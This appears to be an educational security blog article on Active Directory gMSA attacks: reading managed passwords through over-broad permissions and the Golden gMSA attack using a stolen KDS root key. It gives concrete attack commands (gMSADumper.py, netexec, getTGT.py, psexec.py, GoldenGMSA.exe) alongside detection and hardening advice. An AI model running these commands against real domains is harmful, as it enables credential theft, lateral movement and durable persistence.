Group Managed Service Accounts (gMSA) and the KDS Root Key

Group Managed Service Accounts (gMSA) and the KDS Root Key - article cover image Active Directory
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Group Managed Service Accounts (gMSA) solve a real operational problem: service accounts with strong, automatically rotated passwords that administrators never have to know or manage. Active Directory generates a 240-byte random password, rotates it every 30 days, and lets only explicitly authorized hosts retrieve it. Done right, gMSAs eliminate the static, human-chosen, Kerberoastable service password entirely.

But the design has two attacker-relevant seams. The first is who may read the managed password — a misconfigured PrincipalsAllowedToRetrieveManagedPassword turns any compromise of an authorized principal into full control of the service account. The second, and more severe, is the KDS Root Key: the domain-wide secret from which *every* gMSA password is deterministically derived. An attacker who reads the KDS root key can compute any gMSA’s password offline, at any time, for the past and future — the so-called Golden gMSA attack, a durable, rotation-proof backdoor. This article covers both, and how each chains into lateral movement and persistence.

Attack Prerequisites

There are two distinct attack paths with very different requirements:

  • Managed-password read (common case): control of a principal listed in the gMSA’s msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) — often a specific computer or group. From there you read msDS-ManagedPassword and derive the NT hash.
  • Golden gMSA (persistence case): the ability to read the KDS root key (msKds-RootKeyData), which lives in the Configuration partition and is readable by Domain Admins / SYSTEM on a DC. This is a Tier-0-level prerequisite.
  • Readable gMSA attributes for offline computation — the account SID and related msDS-ManagedPassword metadata, which any authenticated user can enumerate.
  • Network access to a DC over LDAP to pull the relevant attributes.

How It Works

A gMSA password is not stored in the directory. Instead, msDS-ManagedPassword is a constructed attribute: when an authorized principal queries it, the DC computes the current password blob on the fly and returns it. The blob (an MSDS-MANAGEDPASSWORD_BLOB) contains the current password, the previous password, and rotation timing. The requesting host converts the returned password bytes into an NT hash and uses it to authenticate as the service account — no plaintext ever needs to be typed or stored.

The password itself is derived by the Key Distribution Service (KDS) from three inputs: the KDS root key, the account’s SID, and a time-based key identifier that advances on the rotation schedule. This is what makes gMSA passwords both automatic and *deterministic* — given the same root key, SID, and time interval, the same password comes out every time. Legitimately, only DCs hold the root key and only authorized hosts can ask for the computed blob, so the determinism is invisible.

Both properties are double-edged. The authorized-read path means the security of the service account is only as strong as the security of *every principal allowed to read it* — a commonly over-broad list. The determinism means that the KDS root key is a master key: with it, plus the freely readable SID and key-ID metadata, an attacker reproduces the KDS derivation offline and computes any gMSA’s password for any time interval. Rotating the gMSA password does not help, because the attacker can just compute the *next* one. That is why Golden gMSA is a persistence primitive rather than a one-time credential theft.

Vulnerable Code / Configuration

The everyday misconfiguration is an over-scoped PrincipalsAllowedToRetrieveManagedPassword. If it includes a broad group — or a host an attacker can compromise — the managed password is within reach:

# Who is allowed to read this gMSA's password?
Get-ADServiceAccount -Identity 'svc_sql$' \
  -Properties PrincipalsAllowedToRetrieveManagedPassword,
             msDS-ManagedPassword |
  Select Name, PrincipalsAllowedToRetrieveManagedPassword

# Red flag: a wide group (e.g. 'Domain Computers') or a low-trust host in the list.
PowerShell

The severe misconfiguration is anything that exposes the KDS root key beyond DCs — for example, backups, snapshots, or over-broad ACLs on the Master Root Keys container. The root key objects live here:

# KDS root key location (Configuration partition, readable by DA / SYSTEM on a DC):
CN=<GUID>,CN=Master Root Keys,CN=Group Key Distribution Service,
  CN=Services,CN=Configuration,DC=corp,DC=local

Key attributes:
  msKds-RootKeyData        # the actual 64-byte root key material  <-- the master secret
  msKds-KDFAlgorithmID     # KDF used in derivation
  msKds-SecretAgreementAlgorithmID
  msKds-CreateTime / msKds-UseStartTime  # interval anchoring
TEXT

The gMSA attributes needed to *anchor* an offline computation — the account SID and the managed-password metadata — are readable by any authenticated user, so once the root key is known the rest is trivial to gather:

# Freely readable inputs for offline gMSA password derivation
Get-ADServiceAccount -Filter * -Properties objectSid, msDS-ManagedPasswordId,
  msDS-ManagedPasswordPreviousId | Select Name, objectSid, msDS-ManagedPasswordId
PowerShell

Walkthrough / Exploitation

Path 1 — read the managed password. From a host or context that is authorized (or after compromising an authorized principal), gMSADumper.py retrieves the blob over LDAP and prints the derived NT hash directly:

# Dump gMSA managed passwords you are authorized to read -> NT hash
gMSADumper.py -u lowpriv -p 'Passw0rd!' -d corp.local

# Output includes:  svc_sql$:::<NTLM_hash>
# That NT hash is immediately usable for pass-the-hash / overpass-the-hash.
Bash

netexec exposes the same capability as an LDAP module, convenient during broad enumeration:

# netexec: pull readable gMSA passwords across the domain
nxc ldap dc.corp.local -u lowpriv -p 'Passw0rd!' --gmsa

# On Windows, the authorized host can do it natively:
#   Install-ADServiceAccount, then Get-ADServiceAccount -Properties msDS-ManagedPassword
Bash

With the gMSA’s NT hash, authenticate as the service account and pivot. gMSAs frequently run high-value services (SQL, IIS app pools, scheduled tasks) and may hold delegation rights or local admin on multiple hosts — the hash is a direct lateral-movement and escalation lever:

# Use the recovered gMSA hash (overpass-the-hash) to request a TGT and operate
getTGT.py -hashes :<GMSA_NTHASH> corp.local/'svc_sql$'
export KRB5CCNAME=svc_sql.ccache

# If the gMSA has RBCD/delegation or admin rights, chain toward the DC.
psexec.py -k -no-pass target.corp.local
Bash

Path 2 — Golden gMSA (persistence). After reaching Tier-0 (DA or SYSTEM on a DC), dump the KDS root key, then compute gMSA passwords entirely offline — now and after every future rotation. Semperis’ GoldenGMSA tool implements both steps:

# 1) From a Domain Admin context, extract the KDS root key material
GoldenGMSA.exe kdsinfo

# 2) Compute a target gMSA's password offline from the root key + SID + key id
GoldenGMSA.exe compute --sid <gMSA_SID> \
  --kdskey <base64_root_key> --pwdid <base64_ManagedPasswordId>

# Result: the gMSA password/NT hash, derivable for any interval, past or future.
TEXT

The strategic difference is durability. Path 1 gives you a credential that a rotation or an ACL fix will eventually revoke. Path 2, using the KDS root key, gives you the ability to re-derive any gMSA password forever without ever touching the DC again — surviving password rotations and most remediation short of provisioning a brand-new root key. It is a quiet, credential-based backdoor into every current and future gMSA in the domain.

Note: The KDS root key is domain-wide and long-lived; there is usually exactly one in use. Because gMSA passwords are derived, not stored, a Golden gMSA computation leaves no read of msDS-ManagedPassword on the DC at all after the initial root-key extraction — the derivations happen offline. Rotating a compromised gMSA does not evict the attacker; recovering from a stolen root key effectively means retiring it and re-provisioning the affected accounts.

Opsec: Path 1 is observable: reads of the constructed msDS-ManagedPassword attribute generate Directory Service Access events (4662) on the DC and can be alerted on. Path 2 is stealthier post-extraction, but the initial access to the Master Root Keys container is itself a Tier-0 event worth its own high-severity alert. Enumerating gMSA SIDs and msDS-ManagedPasswordId is low-noise and hard to distinguish from normal LDAP activity.

Detection and Defense

Protect the read path, and treat the KDS root key as crown-jewel material:

  • Scope PrincipalsAllowedToRetrieveManagedPassword tightly — only the specific hosts that run the service, never broad groups like Domain Computers.
  • Treat the KDS root key as Tier-0. Restrict and monitor access to the Master Root Keys container; a read by anything other than a DC/SYSTEM is a serious incident.
  • Alert on Event ID 4662 for access to msDS-ManagedPassword and to the KDS root key objects, using the relevant attribute/object GUIDs.
  • Prefer gMSA over static service accounts everywhere — the whole point is to remove human-chosen, Kerberoastable passwords — but pair it with disciplined ACLs.
  • Constrain gMSA privileges: do not grant service accounts local admin sprawl or delegation they do not need, so a read of one password does not become domain escalation.
  • Plan root-key rotation as part of Tier-0 compromise recovery; a suspected root-key theft requires provisioning a new root key and migrating gMSAs, not just resetting passwords.

Real-World Impact

gMSAs are widely deployed precisely because they close the Kerberoasting gap, so attackers adapted: the managed-password read is a routine finding when the allowed-principals list is sloppy, and Semperis’ Golden gMSA research (Yuval Gordon) demonstrated that the KDS root key is a single point of catastrophic, persistent compromise for the entire gMSA population. In engagements, gMSA hashes frequently unlock database and application service identities that map to further access, and Golden gMSA is prized by sophisticated actors as a rotation-proof persistence mechanism that ordinary credential-reset remediation does not evict. The lesson mirrors krbtgt: derive-everything master keys must be guarded like the domain itself.

Conclusion

gMSAs are a genuine security improvement — automatic, strong, rotated passwords beat static service secrets every time — but they relocate risk rather than removing it. The managed password is only as safe as the principals allowed to read it, and every gMSA password in the domain ultimately hangs from the KDS root key. Scope the allowed-readers list to exact hosts, guard the Master Root Keys container as Tier-0, alert on managed-password and root-key access, and keep service-account privileges minimal. Get those right and gMSAs deliver their promise; get the root key wrong and you have handed over a master key to every service identity you own.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL